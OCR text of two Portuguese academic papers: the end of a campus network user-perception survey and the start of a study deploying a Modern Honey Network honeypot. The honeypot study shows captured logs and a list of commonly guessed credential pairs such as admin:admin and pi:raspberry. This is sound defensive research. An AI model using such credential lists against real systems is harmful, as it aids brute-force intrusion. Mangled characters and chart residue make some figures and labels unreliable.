Internet nos laboratorios é bastante satisfatoria, visto que a maioria dos
usuarios concordaram com a afirmativa apresentada.

No IFC-CAS além dos horarios de aula/trabalho, existem os
horarios vagos como intervalo e horéario de almogo. Com isso elaborou-
se uma pergunta para saber de qual forma os usuarios utilizam a Internet

nos horarios vagos — podendo ser assinalada mais de uma alternativa
(Figura 15).
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Figura 15: Como vocé utiliza a Internet nos seus horarios
vagos? (Pode ser assinalada mais de uma alternativa).

331 respostas

Ferramentas Institucionais (
SIGAA, SIPA..

Ferramentas de Entretenimento
(Jogos/Sé..

Redes Sociais

Sites de Noticias

Periddicos/Base de Dados/
Portais Cienti..

Mao utilizo

0 100 200

Fonte: Os autores, 2019.

As escolhas foram: 81,6% “Redes Sociais™, 76,1% “Ferramentas
Institucionais (SIGAA, SIPAC3, sites, etc)”, 51,1% “Ferramentas de
Entretenimento (Jogos/Séries)”, 31,1% “Sites de Noticias”, 22,7%
“Periodicos/Base de Dados/Portais Cientificos” e 2,1% “Néao utilizo”.

Analisando a Figura 15 e comparando com a Figura 9, sugere-se
que a lentiddo gerada em horarios vagos surgem devido aos usudarios
acessarem Ferramentas de Entretenimento e Redes Sociais, sabendo-se
que normalmente esses sites geram uma alta taxa de transferéncia de
pacotes, resultando assim, em uma quantidade significativa de consumo.

De acordo com Ruschel, Zanotto e Mota (2010), a Computagdo
em Nuvem ¢ uma forma eficiente de potencializar e flexibilizar recursos
computacionais. Além disso, os usuarios podem mover suas informagdes
e aplicagdes para a nuvem e acessa-las de qualquer lugar. Dessa forma, a
Figura 16 apresenta as respostas questionadas aos entrevistados, a fim de
verificar se consideram importante a institui¢do fornecer um servigo de
armazenamento em nuvem aos USUarios.

3Sistema Integrado de Patrimonio, Administragdo e Contratos (SIPAC).
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Figura 16: Vocé considera importante a instituicdo fornecer

um servico de armazenamento de informacgdes em nuvem?
331 respostas

Como respostas obteve-se 53,8% “Sim”, 36,9% “Indiferente” e
9,4%f “Nao”. Desse modo, novas pesquisas podem surgir a partir das
respostas dos usuarios, questionando-os o0 porque nao usariam um servigo
de armazenamento em nuvem e o motivo de serem indiferente.

Além das questdes objetivas, foram aplicadas duas descritivas,
sendo que uma delas ndo era obrigatoria. Portanto, a questdo 15 (ndo
obrigatoria) abordou o seguinte: “Na sua opinido, quais ferramentas a
institui¢do pode disponibilizar para os usuarios da rede?” Entre as
respostas obtidas, vale destacar as principais: ferramenta de
armazenamento em nuvem; agendamento de salas e laboratorios online;
video-aulas mais acessiveis; aplicativo para auxiliar na visualizacao de
atividades, notas e recados; e, ferramentas educacionais, como jogos e
laboratdrios virtuais.

Por fim, a ultima pergunta proposta questiona sobre como o
usuario descreve a rede do IFC-CAS antes das mudangas realizadas. De
acordo com as respostas apontadas, a grande maioria dos usuarios (234
entrevistados — 70,7%) descreveu a Internet disponibilizada
anteriormente como “Inconstante”, “Instavel”, ‘“Horrivel”, “Lenta,
“Péssima” e “Ruim”, além de ressaltarem que a rede atualmente esta
“mais acessivel”, “mais rapida”, “mais estavel”, “melhor” e “melhor
agora”. Contudo, 97 entrevistados — 29,3%, afirmaram que nao
perceberam nenhuma mudanga ou que sdo indiferentes em relagdo a esta
pergunta.
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3.3 GRAFICOS DE MONITORAMENTO DA REDE

Além do questionario, graficos da ferramenta Zabbix foram coletados
com o objetivo de analisar e comparar os dados obtidos com as respostas
dos usudrios. Desta maneira, nas Figuras 17 ¢ 18 estdo os dois graficos da
ferramenta Zabbix com os diferentes periodos ao longo de um dia.

Figura 17 - Gréafico Zabbix - 07 as 18h

Tratego PfSense ADM

3954 Mg

7464 Mips

Tratego Pfsense

99 11 Mg

7449 Mips

Caleulo Agregado
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Figura 18 - Gréfico Zabbix - 18h as 23h

Trfego Pisense ADM

Tafego isense Wrales

-

Nas Figuras 17 e 18, ¢ possivel observar que cada uma possui
trés graficos que sdo gerados pela Ferramenta de Monitoramento, sendo
que o primeiro ¢ da rede sem fio do prédio administrativo e o segundo da
rede sem fio do prédio onde ficam os alunos. Por fim, o terceiro grafico
gerado ¢ um calculo agregado das duas redes, tanto do prédio
administrativo quanto do prédio dos alunos.

Observando as respostas dos usuarios com os graficos, foi
possivel analisar e concluir que para os usuarios que permanecem na
institui¢do durante os periodos matutino e vespertino, os horarios com
maior lentiddo na rede, conforme a Figura 9, sdo: 12h as 13h — 50,7%,
10h as 12h — 42,9% e 8h as 10h — 36,8%. Em vista disso, comparando
esses dados com os graficos gerados pela Ferramenta de Monitoramento
como pode ser visto na Figura 17, nota-se que existe um pico de utilizagio
da rede proximo das 13h, sugerindo que existe um aumento na taxa de
transferéncia de pacotes através da rede. Logo, conclui-se que pode haver
uma diminui¢do de velocidade perceptivel por parte dos usudrios neste
periodo.

Em relagdo as repostas obtidas dos usuarios presentes no periodo
noturno, de acordo com a Figura 9 o horario com maior lentiddo na rede
¢ das 19h as 21h. Desta forma, fazendo uma comparag@o entre a opinido
dos usuarios e os dados do Zabbix conforme a Figura 18, pode-se
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perceber um aumento na taxa de transferéncia de pacotes.

4 CONSIDERACOES FINAIS

E possivel observar que as redes de computadores estio se tornando
fundamentais no ambito do ensino. Portanto, é necessario ter um bom
gerenciamento para que as redes funcionem corretamente e também
possam oferecer um desempenho aceitavel. Dessa forma, as opinides de
usuarios que a utilizam € primordial para verificar a percepcao deles sobre
o uso e desempenho da rede.

Em vista disso, por meio deste trabalho, um questionario foi
elaborado e aplicado com os usuarios da rede do Instituto Federal
Catarinense — Campus Avangado Sombrio, em que perguntas foram
elaboradas com o intuito de tomar conhecimento da percepcao do usudrio
em relagdo ao uso e ao desempenho da rede de computadores e, assim,
poder realizar a comparagdo com os dados disponibilizados pela
Ferramenta de Gerenciamento Zabbix.

Os questionamentos foram realizados abordando a identificagdo
dos usuarios, o turno de permanéncia na instituicdo, a percepgdo de
diferenca entre a rede cabeada e WiFi, a percepg¢do da intensidade do sinal
sem fio estar presente em todos os ambientes do I[FC-CAS, a percepgao
de locais com menor disponibilidade, a percepgdo de lentiddo na rede
durante o uso e em quais periodos, a percepcdo se a velocidade ¢
satisfatoria e a dificuldade em realizar o trabalho/estudo. Questdes
referentes a seguranga também foram aplicadas, as quais buscam saber se
0s usuarios se sentem seguros acessando a rede. Além disso, perguntas
descritivas foram desenvolvidas com o objetivo de verificar diferentes
opinides sobre mudancas realizadas. Por fim, foram feitas sugestdes de
ferramentas que a instituicdo pode disponibilizar, além de saber quais
ferramentas os usudrios utilizam durante seus horarios vagos.

Assim sendo, o objetivo do trabalho foi alcangado, pois a analise
entre as respostas dos usuarios foram realizadas e comparadas com os
dados reais de desempenho da rede. Portanto, como trabalhos futuros,
pretende-se avaliar os equipamentos de rede da institui¢do, a quantidade
de usuarios por Access Point (AP) que acessam a rede e quais periodos, a
fim de verificar algum gargalo em decorréncia da quantidade de usuarios
e analisar a percepcao dos usudrios por curso. Além disso, pretende-se
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desenvolver uma nova pesquisa relacionada a seguranca, para avaliar o
motivo que levou os usudrios a responderem que se sentem seguros ou
ndo acessando a rede do IFC-CAS.
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Abstract. The Internet usage for a variety of things, such as bank
accessing or online shopping, has attracted malicious people that
aims unknowingly steal personal information from computer users. One
of the possible solutions to data theft analyzed in this article was
implemented by a honeypot using the Modern Honey Network platform.
Specifically, it was analized the logs of honeypot sensors. This article
based on bibliographic content, scientific articles and experimental
research. The study concluded that the implementation of the Modern
Honey Network was successful and could be effective as a
complementary resource for detection and prevention of cyber attacks.

Resumo. O uso da Internet para diversos interesses, como acessar o
banco e fazer compras, atrai o interesse de pessoas mal-intencionadas
que visam obter informagoes. Uma das possiveis solugdes para o roubo
de dados que esse artigo analisou foi a implementagdo de um honeypot
usando a plataforma Modern Honey Network. Especificamente, foram
analisados os logs dos sensores do honeypot. O artigo baseia-se em
conteudos bibliogrdficos, artigos cientificos e pesquisa experimental.
Apos a conclusdo do experimento constatou-se que a implementagdo da
ferramenta Modern Honey Network ocorreu de forma satisfatoria, e pode
ser eficaz como recurso complementar para detec¢do e prevengdo de
ataques cibernéticos.
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1 INTRODUCAO

As empresas atualmente utilizam a internet para diversos fins, como
transmissdo e armazenamento de dados em grande escala. Essa
infraestrutura que congrega grande quantidade de informagé&o pode atrair
0 interesse de pessoas mal-intencionadas. Apesar desse risco aumentar a
cada dia, muitas empresas e corpora¢fes ndo possuem uma politica de
seguranca adequada para seus servidores.

Diante desse cenario, uma das possiveis solucBes € a
implementacdo do honeypot, uma plataforma que emula servicos
desprotegidos, com 0 objetivo de receber ataques e armazenar logs para
gue o administrador do servidor possa analisar posteriormente
(SPITZNER, 2003 apud MARTINS JUNIOR, 2006).

A motivacao da escolha do honeypot foi demonstrar a eficacia
dos recursos desta técnica para detec¢do e prevencao de acdes de crackers.
Para tanto foi utilizado o0 Modern Honey Network que disponibiliza varios
tipos de recursos que utilizam protocolos como Protocolo de
Transferéncia de Arquivos (FTP, File Transfer Protocol), Protocolo de
Rede Criptografado (SSH) e Protocolo de Transferéncia de Hipertexto
(HTTP, Hypertext Transfer Protocol).

Segundo Martins Junior (2006), o uso desse tipo de ferramenta
pode ser justificado ndo somente na &rea de seguranga, mas também em
outras areas como, por exemplo, no auxilio a pesquisadores na descoberta
de vulnerabilidades de sistemas, melhorando-os continuamente.

O objetivo deste trabalho é analisar a utilizacdo de um honeypot
em um ambiente real, especificamente suas documentacdes de
implementacdo e configuragdo com os principais servicos (Web e SSH).

2 CONCEITOS DE SEGURANCA DA INFORMACAO

Segundo Didgenes e Mauser (2013), “A seguranca da informagdo ¢ a
pratica de assegurar que os recursos que geram, armazenam ou proliferam
as informagdes sejam protegidos contra quebra de confidencialidade,
comprometimento da integridade e contra a indisponibilidade de acesso a
tais recursos.”

Conforme Didgenes ¢ Mauser (2013), em seguranca da
informacao existem trés pilares principais:
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o Confidencialidade: Trata-se da prevencdo do vazamento de
informagdo para usudrios ou sistemas que ndo estdo autorizados
a ter acesso a tal informagdo.

o Integridade: Trata-se de preservacdo e manuten¢do do dado na
sua forma integra, ou seja, sem sofrer modificacdes através de
fontes ndo autorizadas.

¢ Disponibilidade: Trata-se da manutenc¢ao da disponibilizagdo da
informagdo, ou seja, a informagdo precisa estar disponivel
quando se necessita.

Além dos conceitos acima, conforme Stalligns (2015), ha
conceitos adicionais que sdo uteis para avaliar de forma mais abrangente
a seguranca em sistemas de informacao.

e Autenticidade: garantir que a identidade (de um sistema,
individuo ou componente) ¢ genuina, de maneira verificavel e
confiavel.

o Responsabilizacio: capacidade de atribuir a¢cdes de maneira
exclusiva e inequivoca a seu autor.

e Vulnerabilidades: pontos com facilidade de serem atacados, por
falha de software, hardware, ma configuracdo, falha de
administragéo ou outros.

e Ameacas: chance de violacdo da seguranca que existe quando ha
uma circunstancia, capacidade, a¢do ou evento que poderia
quebrar a seguranga e causar danos.

2.1 ATAQUE A SEGURANCA

E importante saber quem so 0s responsaveis pelos atagues no sistema,
mas ndo deixar de destacar a importancia de saber quais sdo 0s métodos
utilizados pelo invasor. Observa-se na Figura 1 os tipos mais utilizados
como ataques (Carvalho, 2005).

e
=Il INSTITUTO FEDERAL

Catarinense



43

Figura 1 - Incidentes Reportados ao CERT.br /
Janeiro & Dezembro/2017

OQutro 7 Fr 3

Fonte: Incidentes reportados ao cert.br (2017).

Para o entendimento da Figura 1, destaca-se a seguir a legenda

dividida em tipos de ataques (CERT.BR, 2017):

Worm: notificagdes de atividades maliciosas relacionadas com
0 processo automatizado de propagacdo de codigos maliciosos
na rede.

DoS (DoS -- Denial of Service): notificagdes de ataques de
negacgdo de servico, onde o atacante utiliza um computador ou
um conjunto de computadores para tirar de operagdo um servico,
computador ou rede.

Invasdo: um ataque bem-sucedido que resulte no acesso ndo
autorizado a um computador ou rede.

Web: um caso particular de ataque visando especificamente o
comprometimento de servidores Web ou desfiguracGes de
paginas na Internet.

Scan: notificagdes de varreduras em redes de computadores, com
o0 intuito de identificar quais computadores estdo ativos e quais
servigos estdo sendo disponibilizados por eles.

e
=Il INSTITUTO FEDERAL

Catarinense



44

E amplamente utilizado por atacantes para identificar potenciais
alvos, pois permite associar possiveis vulnerabilidades aos
servigos habilitados em um computador.

e Fraude: segundo Houaiss, é "qualquer ato ardiloso, enganoso,
de ma-fé, com intuito de lesar ou ludibriar outrem, ou de néo
cumprir determinado dever; logro". Esta categoria engloba as
notificacbes de tentativas de fraudes, ou seja, de incidentes em
gue ocorre uma tentativa de obter vantagem.

e OQOutros: notificagdes de incidentes que ndo se enquadram nas
categorias anteriores.

Segundo Carvalho (2005), “da-se o nome de atacante a pessoa
que realiza um ataque a um sistema computacional, obtendo éxito ou ndo.”

Além disso, o termo hacker abrange varias sub ramificagoes
como: Script Kiddies, Crackers, Carders, Cyberpunks, Insiders, Coders,
White hats, Black hats e Preacker.

Para o entendimento de cada ramificagdo, a seguir apresenta-se
cada tipo de hacker (CARVALHO, 2005):

e Script Kiddies: Conhecidos pelo baixo conhecimento técnico e
por usarem ferramentas disponiveis na internet para invadir
sistemas, os Script Kiddies ou Newbies sdo a ameaca mais
comumente enfrentada pelas empresas.

o Crackers: Diferentemente dos Script Kiddies, os Crackers
possuem conhecimento avangado em informatica, sdo capazes de
quebrar protecdes de sistemas softwares.

e Carders: Os carders sdo responsaveis por efetuar compras
através da internet usando cartBes de crédito roubados ou
simplesmente gerados.

e Cyberpunks: O alto grau de conhecimento e a preocupagao
excessiva com privacidade caracterizam esses hackers. Devido a
esta Gltima preocupacdo, os Cyberpunks fazem uso da
criptografia para garantir a privacidade dos dados.

e Insiders: Atribui-se, geralmente, aos Insiders a execucdo de
espionagemindustrial. Eles sdo funcionérios e ex-funcionarios da
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prépria empresa que tem por objetivo roubar informagdes
confidenciais ou comprometer os sistemas da mesma.

Coders: Hackers que compartilham seus conhecimentos, 0s
Coders constroem programas, escrevem livros e ministram
palestras sobre o que ja fizeram. Geralmente foram hackers
famosos, e que hoje trabalham legalmente.

White Hats: Possuem como lema o “full disclosure” ou
conhecimento aberto. Os White Hats utilizam os seus
conhecimentos para encontrar vulnerabilidades em aplicacfes e
sites para serem divulgados e corrigidos, seja a toda comunidade
ou para contratantes de seus servicos.

Black Hats: Também conhecidos como full fledged, os Black
Hats diferentemente dos White Hats, utilizam seus
conhecimentos para invadir os sistemas de organizacBes para
roubar informacbes, de forma a obter retorno financeiro
vendendo-as ou chantageando a organizagéo invadida.

Phreackers: Muitas vezes referenciados pelo termo phreacking,
eles sdo os hackers da telefonia, responsaveis por fraudes
telefonicas, tais como alteracdo de contas, ataques a centrais
telefonicas e realizacdo de ligagdes gratuitas.

Stalligns (2015), apresenta dois termos aos ataques, sdo eles:

Ataques passivos: envolvem o monitoramento a transmissoes

em busca de informacdes relevantes, sensiveis ou confidenciais.

Ataques ativos: envolvem alguma modificacdo do fluxo de

dados ou a criag@o de um fluxo falso, e podem ser subdivididos em quatro
categorias: disfarce, repasse, modificacdo de mensagens e negagdo de

Servigo.

Disfarce: acontece quando uma entidade finge ser outra. O
ataque de disfarce normalmente envolve outras formas de ataque
ativos.

Repasse: é feita a captura passiva de uma unidade de dados que
é retransmitida para produzir um efeito ndo autorizado.
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o modificagdode mensagens: ocorre quando alguma parte da
mensagem original é alterada, ou as mensagens séo adiadas ou
reorganizadas.

e Negacdo de servico: evita 0 uso ou o gerenciamento normal dos
servicos de comunicacdo. Esse ataque pode ter um alvo
especifico.

Na Figura 2 pode-se observar o total de incidentes anuais
reportados ao CERT.br de 1999 a 2018:

Figura 2 - Incidentes Reportados ao CERT.br / Valores
acumulados: 1999 a 2018

Total de Incidentes Reportados ao CERT.br por Ano

Ano total

2018 676.514 |
2017 833.775
2006 647.112
2015 22
2014 1.047.031
2013 5
2012
2011 1
2010 142.844
2009 4
2008 222.52
2007 16
2006 197.892
2005 6
2004 75.722
2003
2002
2001 12.301
2000
1999

look 200k 300k 400k 500k 600k 700k 800k 900k M 1.1
Incidentes

Fonte: CERT.BR, 2019.

Pode-se perceber um incremento no nimero de incidentes no
decorrer dos anos. Nota-se um indice bastante elevado no ano de 2014 em
relacdo aos anos anteriores.

O alto numero de ataques reportados no ano de 2014 no Brasil,
de acordo com o site ATAQUES (2014), se deu devido ao elevado indice
de ataques ao governo, que foi quadruplicado frente ao ano de 2013, fruto
de uma intensifica¢ao dos ataques de ativistas virtuais durante a Copa do
Mundo. Fato que em 2015 ja ndo foi tdo evidente, o que implicou na
diminui¢do do indice dessas comunicac¢des, visto que boa parte dos
ataques a usuarios privados ndo chega a ser contabilizado.
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3 HISTORIA E DEFINICOES DO HONEYPOT

A definicdo do honeypot ¢ um recurso construido com objetivo de
manipular o invasor, fazendo o atacante acreditar que possui o controle
total do sistema, mas na realidade o invasor estd em um ambiente falso,
tendo os seus rastros vigiados. Destaca-se que esse recurso nao possui o
objetivo de bloquear a agdo do invasor (ASSUNCAO, 2008).

Segundo Stoll (2000 apud MARTINS JUNIOR, 2006), “O
primeiro surgimento de uma implementagdo honeypot foi no ano de 1988
por Clifford Stoll, que durante 10 meses localizou e encurralou o hacker
Hunter, fazendo o monitoramento das atividades desse invasor”.

Em 1997 a primeira implementacdo do honeypot foi por “Fred
Cohen”, que foi aplicada em 1998. A ferramenta tinha o objetivo de iludir
0 invasor.

As informagoes coletadas sdo importantes, pois mostram varias
ameagas que a maioria das vezes estdo presentes em ambientes reais. Com
essas informacdes obtidas pela sondagem do homeypot, as empresas
podem aumentar sua prote¢do contra invasores.

Um honeypot pode simular varios servigos como SSH, SMTP,
POP3, TELNET, WEB e FTP. Esses servigos sdo configurados para serem
quebraveis, de modo que quando o invasor acessar o ambiente serdo
coletadas informacdes para identificar a origem da invasdo e as agoes que
foram executadas.

3.1 VANTAGENS E DESVANTAGENS DO HONEYPOT

Segundo Machado (2012), a vantagem do honeypot € que ele possui a
facilidade de trabalhar com dados criptografados, e ndo necessita de
muitos recursos operacionais para ser executado. Os dados coletados so
uteis para as empresas planejarem sua estratégia de protecdo contra as
ameacas.

O honeypot € um recurso para monitoramento de tentativas de
invasdo, em que ¢ configurado um ambiente simulado e monitorado, com
gravacdo de quaisquer acessos ao(s) sistema(s) para posterior analise.
Essa analise dara a equipe que efetua o monitoramento informacgdes
relevantes sobre os tipos de ataque, sua origem ¢ modo de atuagdo dos
atacantes.
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Uma desvantagem do honeypot € que ha chances de que grande
parte das informagdes coletadas sejam geradas por invasores que fazem
ataques aleatorios, sem um planejamento especifico, apenas tentando ter
um nimero maximo de acesso a alvos, ¢ essas informagdes ndo sdo tio
relevantes para os administradores de um ambiente real. Além disso, outra
desvantagem é que pode haver uma ma configuragio do ambiente,
permitindo que o invasor descubra que o sistema operacional esta sendo
monitorado. O honeypot ndo substitui os recursos de seguranga que visam
prevenir ataques, devendo ser utilizado em conjunto com os sistemas de
seguranga para aumentar o conhecimento dos administradores sobre os
atacantes.

32 CATEGORIAS DO HONEYPOT

O honeypot pode ser classificado em duas categorias:

o Honeypots de pesquisa: Sdo ferramentas programadas para que
se faca o monitoramento das atividades do invasor,
possibilitando uma anélise baseada nas informacdes coletadas
para destacar as suas motivacdes, 0os métodos utilizados para
fazer a invasdo e as vulnerabilidades exploradas. Estas
informacGes poderdo ser usadas para estudos ou por empresas de
modo que a proteger seus sistemas contra-ataques.

e Honeypots de producdo: S&o recursos usados como
complemento ou no lugar de sistemas de deteccdo de intrusdo.
Seu objetivo é analisar o comportamento e detectar os invasores
na rede, podendo tomar as devidas providéncias contra os
atacantes o mais rapido possivel.

3.3 NIVEIS DE INTERACAO

Quanto a interagdo permitida ao invasor, homneypots podem ser
classificados em dois niveis: de baixa interatividade e de alta
interatividade. (CERT.BR, 2007).

Baixa interatividade: oferece ferramentas para emular sistemas
operacionais e servicos com os quais os atacantes irdo interagir. Desta
forma, o sistema operacional real deste tipo de honeypot deve ser
instalado e configurado de modo seguro, para minimizar o risco de
comprometimento.
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Alta iteratividade: oferece o uso de sistemas, aplicagdes e
servigos reais, fazendo com que o invasor tenha acesso total ao sistema
invadido. Neste caso ha uma maior interagdo com o invasor, permitindo
a coleta de informagdes totais dos passos do invasor.

3.4 HONEYNETS

O recurso honeynet conforme o CERT.BR (2007) ““ é uma ferramenta de
pesquisa, que consiste de uma rede projetada especificamente para ser
comprometida, € que contém mecanismos de controle para prevenir que
seja utilizada como base de ataques contra outras redes. ”

Rocha (2003) afirma que a honeynet normalmente é composta
por sistemas reais, e necessita de um mecanismo de contencéo eficiente,
por exemplo, um firewall, para que ndo seja usada como origem de
ataques e também para que nao alerte o invasor do fato de estar em uma
honeynet

3.4.1 Tipos de Honeynets

Tanto o honeypot quanto o honeynet podem se dividir em dois principais
tipos, que sdo determinados como virtuais e reais:

Honeynets virtuais: Conforme o CERT.BR (2007), “baseia-se
na idéia de ter todos os componentes de uma /honeynet implementados em
um numero reduzido de dispositivos fisicos. Para isto, normalmente ¢é
utilizado um tnico computador com um sistema operacional instalado,
que serve de base para a execugdo de um software de virtualizagdo.”.

Honeynets reais: Conforme o CERT.BR (2007), “os dispositivos
que a compdem, incluindo os honeypots, mecanismos de contengdo, de
alerta e de coleta de informagdes, sdo fisicos.”.

Para o entendimento do conceito honeynets reais, destaca-se o
exemplo abaixo (CERT.BR, 2007):

e Diversos  computadores, um para  cada honeypot.
Cada honeypot com um sistema operacional, aplicacdes e
servicos reais instalados;

e Um computador com um firewall instalado, atuando como
mecanismo de contencado e de coleta de dados;
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e Um computador com um IDS instalado, atuando como
mecanismo de geracdo de alertas e de coleta de dados;

e Um computador atuando como repositdrio dos dados coletados;
e Hubs/switches e roteador (se necessario) para fornecer a
infraestrutura de rede da honeynet.

4 MODERN HONEY NETWORK

Para a confeccdo desse artigo, optou-se por implementar ¢ analisar a
ferramenta Modern Honey Network (MHN), um sistema de
gerenciamento de honeypots que permite coletar dados e criar uma rede
de defesa ativa. Antes disso, foram testados os honeypots honyd e kippo,
porém, foram encontrados problemas de incompatibilidade com sistemas
Linux atual, dado que a implementagdo dessas ferramentas ¢
consideravelmente antiga, em torno de 8 anos.

A MHN ¢ uma ferramenta de codigo aberto que disponibiliza
uma interface web que facilita a implementagdo dos sensores dos
honeypots. Pode ser implementada rapidamente em qualquer ambiente
operacional a partir de scripts de varios honeypots como Snort, Cowrie,
Dionaea e Glastopf. (TROST, 2014)

Destaca-se a seguir as principais caracteristicas do sistema
(THREATSTREAM, 2019):

MHN ¢ um aplicativo Flask* que expde uma API HTTP que os
honeypots podem usar para:

e Baixar um script de implementago;

e Conectar e registrar com o ambiente;

e Fazer o download de regras de snort;

e Enviar logs de detecgdo de intrusdo para o servidor principal.
Também permite que os administradores do sistema:

¢ Vejam uma lista de novos ataques;

4 Flask é um framework web escrito em Python e baseado nas bibliotecas
werkzeug e jinja2.
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e Gerenciem regras de snort: ativar, desativar, baixar.

5 MATERIAIS E METODOS

Na elaboracéo do trabalho, foi realizado um estudo fundamentado em
conteldos hbibliograficos, (livros e artigos publicados online), que
conforme Gil (2010 apud BALTAZAR MARCARINI, 2017) “podem ser
considerados materiais de pesquisa.”. Para a aplica¢do da implementacdo
do servidor, foram utilizados dois servidores virtuais, com a configuracao
de 1GB de memoria RAM, processador Intel 1Core 2.9 Ghz e disco rigido
de 20GB.

A pesquisa se caracterizou como experimental, que conforme
SEVERINO (2007 apud MENGUE e CARDOSO, 2016), “pega o proprio
objeto em sua realidade e pde em condigfes técnicas de manipulagéo e
observacdo experimental em laboratdrios, na qual situa¢des sdo criadas
para seu tratamento.”.

O experimento foi construido em cinco etapas que sao elas:

e Primeira etapa: Aquisicdo dos servidores virtuais e preparacéo
do ambiente de monitoramento e producao.

e Segundo etapa: Implementacdo do honeypot simulando um
ambiente de teste. Nessa etapa ocorreu 0s seguintes problemas
na hora da implementacdo: incompatibilidade da versdo do Linux
e falta de documentacdo de implementacdo. O ambiente que
monitorava ndo estava registrando os ataques pelo motivo de
falta permissdo no arquivo mhn.log e erro 504 Gateway Timeout
na hora que registrava os ataques.

o Terceiraetapa: A solugdo dos problemas que ocorreram na etapa
anterior, foi a escolha da plataforma Modern Honey Network
para fazer o monitoramento do ambiente de producdo. Para
resolver erro de acesso ao arquivo mhn.log foi necessério dar
permissdo www-data com o comando chmod. Para solucionar o
problema 504 Gateway Timeout foi adicionado redirecionamento
de DNS no arquivo hosts do Linux.
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e Quarta etapa: Implementacéo da plataforma em um ambiente de
producao.

e Quinta etapa: A coleta de logs no ambiente de monitoramento
para fazer anélise.

5.1. AMBIENTE DE PESQUISA

A implementacdo foi executada em servidores virtuais, em que foram
configurados recursos para que o ambiente fosse simulado. Apds, foi
realizada instalagdo em um ambiente real. A aplicacdo deu inicio ao
monitoramento em 03/07/2019 até meados de novembro de 2019.

5.2 PROCESSO PARA IMPLEMENTACAO MHN “MORDEN HONEY
NETWORK”

A fim de realizar a instalacdo do software Modern Honeypot Project em
um ambiente Ubuntu 18.04 foram executados os comandos que constam
na Figura 3, via terminal (SSH).

Figura 3 - Comando para a instalagdo do
Servico

cd fopt/

sudo apt-get install git -y

sudo git clone https://github.com/threatstream/mhn.git
cd mhn/

sudo ./install.sh

Fonte: Modern Honey Network (2016).

[ R LT )

Apbs a instalagdo, foi acessado, via browser, o painel que fora
instalado no servidor principal, efetuando-se logon com o usuario
escolhido no momento da instalagdo. A seguir, efetuou-se a
implementagdo (deployment) selecionando os scripts Ubuntu — Conpot,
Ubuntu — Wordpot, Ubuntu - Cowrie e Ubuntu/Raspberry Pi — Dionaea.
Feito isso, foram copiados os comandos gerados pela ferramenta e
executados no servidor virtual vitima (honeypot). Os honeypots serao
listados no servidor de monitoragdo do MHN, na aba Sensores da
interface web de configuragdo e monitoramento.
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Figura 4 — Desenho da topologia do trabalho

Internet
Firewall
Roteador Wordpot  Dionaea Cowrie

Ambiente
Ambiente de
de Producédo
Monitoramento

Fonte: Modern Honey Network (2016).

A Figura 4 demonstra o funcionamento dos ambientes, sendo que
o ambiente de producdo possui trés sensores de honeypot, demostrado na
Figura acima.

6 RESULTADOS

Durante o trabalho, foram encontradas algumas dificuldades, entre elas a
escolha da plataforma a ser utilizada para implementag¢do do honeypot,
quanto a compatibilidade da versdo do Linux. Com muita pesquisa,
descobriu-se que a plataforma MHN seria a mais adequada para o
proposito desse estudo. Mas, mesmo assim, houve um problema quando
o servidor virtual do honeypot recebia um registro de ataque o servigo
nginx que roda a plataforma exibia o erro 504 Gateway Timeout. Para
resolver esse problema tivemos que adicionar no arquivo resolv.conf o
endereco ip do DNS da plataforma.

Ao longo da implementacdo, apds as configuracdes necessarias
do experimento em um ambiente de producdo, foram coletadas as
informac®es que puderam evidenciar o funcionamento da aplicacéo.

No cendrio de producdo, houve aplicacdo de sensores e tentativas
de ataques nas maquinas. Abaixo, apresentam-se 0s numeros de
incidentes que foram reportados durante 0 monitoramento no ambiente,
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ou seja, a quantidade de ataques que houve no servidor onde as sondagens
estdo instaladas:

Figura 5 - Sensores do MHN Server

MHN Server Map Deploy Attacks Payloads Rules Sensors Charts Settings Log Out

Name Hostname P Honeypot UUID Attacks

= a9cec514-c138-11e9-

ﬁ srv20190813.looksc srv20190813.looksolucoes  66.70.156.235  wordpot 2562-020000d0d64d 1734

2- ’ e670a2a8-c138-11e9-

@ srv20190813.looks¢ srv20190813.looksolucoes  66.70.156.235  cowrie 2563-020000d0d64d 225470

3- . 917bebfe-c2aa-11e9-

srv20190813.looks¢ srv20190813.looksolucoes  66.70.156.235 dionaea bd11-020000d0d64d 126403

Fonte: Os Autores (2019).

Analisando a Figura 5 pode-se notar na coluna Attacks quais
foram os sensores mais visados: Cowrie, Dionaea, Wordpot.

Para o entendimento dos sensores, destaca-se a seguir suas
caracteristicas (LHIBOS, GBRINDISI E MICHELOOSTERHOF
GITHUB, 2019):

e Wordpot: O Wordpot é um honeypot do Wordpress que detecta
sondas para plugins, temas, timthumb e outros arquivos comuns
usados para imprimir uma instalacdo do wordpress.

e Cowrie: Cowrie é um honeypot SSH e Telnet de interagdo média,
projetado para registrar ataques de forca bruta e a interagdo com
o shell realizada pelo invasor. Cowrie também funciona como
um proxy SSH e telnet para observar o comportamento do
invasor em outro sistema.

e Dionaea: deve ser um sucessor de Nepenthes®, incorporando
Python como linguagem de script, usando o libemu para detectar
cadigos de shell, suportando IPv6 e TLS. Os protocolos mais

3> O Nepenthes & uma ferramenta para coletar malware, emulando fraqueza
conhecidas.

e
=Il INSTITUTO FEDERAL

Catarinense



55

importantes que o Dionaea sonda sdo FTP, HTTP, MSSQL,
MySQL e SMB.

A Figura 6 ilustra os logs dos ataques wordpot demonstrando
a tentativa de acesso a pagina do painel administrativo com usudrio e
senha.

Figura 6 - Tabela de ataques e suas caracteristicas

2019-11-25 15:40:33,641
2019-11-25 16:28:30,714
2019-11-25 16:48:46,076
2019-11-25 16:52:57,812
2019-11-25 16:53:05,301
2019-11-25 17:24:25,672

Honeypot started on 0.0.0.0:80

191.52.48.39 probed for the login page

191.52.48.39 tried to login with username tiago and password 1234267
191.52.48.39 probed for the login page

191.52.48.39 probed for the login page

191.52.48.39 tried to login with username tigac and password 127356

Fonte: Os Autores (2019).

Na Figura 7, ¢ ilustrada a captura dos dados em tempo real sobre
os incidentes ataques nos sensores.

Figura 7 - Tabela de ataques e suas caracteristicas

ayoeds  Rues Soasar Chart

Attacks Report

srv20190813 Jooksokucoes - | dionaea -

Country srewp Dst port Protocol Honeypot

Fonte: Os Autores (2019).

A Figura 7 demonstra as colunas dos atacantes como data,
continente, ip, porta, protocolo, honeypot usado para capturar o ataque.

Na Figura 8, pode-se visualizar algumas estatisticas interessantes
do sensor Cowrie, como as principais senhas e nomes de usudrios
principais observados em ataques:
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Figura 8 - Grafico do Cowrie quantificando tentativas de
usuarios e senhas

Kippo/Cowrie Top User/Passwords

nproc: nproc
B pi: raspberry

e R
[l admin: admin
user: user
[ admin: 1111
[ support: suppo..
admin: admini2..
